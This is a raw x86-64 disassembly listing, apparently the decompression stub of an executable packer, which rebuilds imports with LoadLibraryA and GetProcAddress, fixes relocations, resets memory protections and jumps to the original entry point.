cmp rsi, rcx
jae 0x14002220e
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400221dd
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14002220e
lodsb al, byte [rsi]
jmp 0x1400221ed
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x20000]
mov eax, dword [rdi]
or eax, eax
je 0x14002226b
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x224ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14002221b
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140022265
mov qword [rbx], rax
add rbx, 8
jmp 0x14002223b
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400222a5
cmp al, 0xef
ja 0x140022297
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140022277
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140022286
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.140022324], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.140022324
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140022314
sub rsp, 0xffffffffffffff80
jmp 0x1400014e0